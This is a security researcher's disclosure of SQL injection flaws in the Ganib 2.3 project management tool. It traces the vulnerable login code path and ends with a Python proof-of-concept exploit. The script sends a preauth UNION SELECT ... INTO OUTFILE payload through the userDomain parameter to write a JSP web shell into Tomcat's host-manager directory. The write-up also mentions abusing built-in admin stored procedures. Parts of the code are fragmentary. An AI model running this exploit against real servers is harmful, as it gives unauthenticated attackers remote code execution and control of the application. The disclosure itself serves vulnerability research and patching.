ganib project management 2.3 SQLi

Ganib is a project management tool supporting all the glorious project management utilities. The latest version, 2.3 and below, is vulnerable to multiple SQL injection vectors.

The first SQL injection vector is a post-auth UPDATE injection in changetheme.jsp:

String theme = request.getParameter("theme");
User user = (User) pageContext.getAttribute("user", PageContext.SESSION_SCOPE);
if( user != null && user.getID() != null ) {
    DBBean db = new DBBean();
    try {
        String query = "UPDATE PN_PERSON SET THEME_ID = '" + theme + "' WHERE PERSON_ID = " + user.getID();
    } finally {

It’s obvious where the flaw is.

The most serious of the vectors is a preauth SQL injection vulnerability in the login POST request. The issue with this is that user-controlled data is passed through a series of data objects, all of which fail to sanitize the data, but all of which assume the data is cleansed.

The initial POST request is sent to LoginProcess.jsp. This builds the LogManager object, which instantiates the object with our provided username, password, and user domain; all unsanitized:

// Grab parameters from Login form
String secure = request.getParameter ("secure");
String username = request.getParameter ("J_USERNAME");
username = username == null ? u_name : username;
String password = request.getParameter ("J_PASSWORD");
password = password == null ? pwd : password;
String userDomain = request.getParameter("userDomain");


    loginManager.createLoginContext(username, password, userDomain);

And the request, for reference:

POST /LoginProcessing.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=747813A1BB393D97FD577E2010F25F37; g.s=CE7D2D0E1293623B73B56FC239BFA23D; g.r=1; _sid=; _styp=; JSPRootURL=; cookies=true
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 109


Once the loginManager is instantiated, loginManager.completeLogin is called. This instantiates the DomainAuthenticator object and attempts to login:

    domainAuthenticator = DomainAuthenticator.getInstance(this.loginContext.getDomainID(), this.loginContext.getUsername(), this.loginContext.getClearTextPassword());
    domainAuthenticator.authenticate(shadowLogin, isFromSSOLogin);
    statusCode = LoginStatusCode.SUCCESS;

The DomainAuthenticator object manages authentication with the various supported methods; domain, SSO, etc. If you’re still following with me, the traversal path thus far can be visualized below:

Note that, so far, none of the provided input has yet to be sanitized.

The DomainAuthenticator constructor first instantiates a UserDomain object:

private DomainAuthenticator(String domainID, String username, String clearTextPassword)
  throws DomainException
    UserDomain domain = new UserDomain();

    setAuthenticationContext(new AuthenticationContext(domainID, username, clearTextPassword));

Once the UserDomain object is initialized, the domainID is set by our unsanitized userDomain parameter, and the load function is invoked. The load function is as follows:

 public void load()
    throws PersistenceException
    DBBean db = new DBBean();
    } finally {

  public void load(DBBean db)
    throws PersistenceException



A DBBean object is created, and passed into an overloaded load function. This runs three other functions to build the DBBean object; the call we’re interested in is loadUsers:

 public void loadUsers(DBBean db)
    throws PersistenceException
    if (this.domainID == null) {
      throw new PersistenceException("UserDomain.loadUsers() can not proceed because the domainID is null");

    if (this.userCollection == null) {
      this.userCollection = new DomainUserCollection();


This call invokes yet another object, DomainUserCollection. Once instantiated, our yet to be sanitized userDomain parameter is set in the object, and the load function is invoked. This function, finally, takes us to our vulnerable SQL query:

 protected void load(DBBean dbean)
    throws PersistenceException

    if (this.domainID == null) {
      throw new PersistenceException("DomainUserCollection.load() was unable to load the users for this domain because of an invalid (null) domainID");



Here we can see that our controlled userDomain parameter is injected directly into the SQL query. This can be exploited using a UNION SELECT with four columns to write a JSP shell out.

Because of the way the Tomcat applicaton’s web.xml is configured, we cannot drop a JSP into the ROOT folder and expect it to run. Have no fear, as the default Tomcat install built into Ganib includes both /manager and /host-manager, which provide perfect receptacles for our dumped shell:

root@jali:~/exploits# python -i -p /var/www/ganib/tomcat/webapps/host-manager -j ./cmd.jsp
[!] Dropping ./cmd.jsp on
[!] Dropped at /wjdll.jsp
root@jali:~/exploits# python -c 'import requests; print requests.get("").content'


    1    2    3


There will be some issues if Ganib is running in a directory that MySQL does not have permissions to write to, and considering this is a completely portable install, it could be running from anywhere. Of course, you can also make use of the dozens of stored procedures Ganib installs by default; such as APPLY_ADMIN_PERMISSIONS, REMOVEUSER, or CREATE_PARENT_ADMIN_ROLE; this would simply turn the query from a UNION SELECT into OR PROCEDURE().

I did a quick grep through the remainder of the code base and found multiple other injection vectors; most, however, were postauth.

# Exploit title: Ganib 2.0 SQLi
# Date: 02/02/2014
# Exploit author: drone (@dronesec)
# More information:
# Vendor homepage:
# Software link:
# Version: <= 2.3
# Fixed in: 2.4
# Tested on: Ubuntu 12.04 (apparmor disabled) / WinXP SP3

from argparse import ArgumentParser
import sys
import string
import random
import requests

""" Ganib 2.0 preauth SQLi PoC

def loadJSP(options):
    data = ''

        with open(options.jsp) as f:
            for line in f.readlines():
                data += line.replace("\"", "\\\"").replace('\n', '')
    except Exception, e:
        print e

    return data

def run(options):
    print '[!] Dropping %s on %s...' % (options.jsp, options.ip)

    url = "http://{0}:8080/LoginProcessing.jsp".format(options.ip)
    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))

    exploit = '1 UNION SELECT "{0}","1","2","3" INTO OUTFILE "{1}"'
    exploit = exploit.format(loadJSP(options), options.path + '/%s.jsp' % shell)

    data = { "theAction" : "submit",
             "J_USERNAME" : "test",
             "J_PASSWORD" : "test",
             "language" : "en",
             "remember_checkbox" : "on",
             "userDomain" : exploit

    res =, data=data)
    if res.status_code is 200:
        print '[!] Dropped at /{0}.jsp'.format(shell)
        print '[!] Failed to drop JSP (HTTP {0})'.format(res.status_code)

def parse():
    parser = ArgumentParser()
    parser.add_argument("-i", help='Server ip address', action='store', dest='ip',
    parser.add_argument("-p", help='Writable web path (/var/www/ganib)', dest='path',
                        action='store', default='/var/www/ganib')
    parser.add_argument("-j", help="JSP to deploy", dest='jsp', action='store')

    options = parser.parse_args()
    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    return options

if __name__ == "__main__":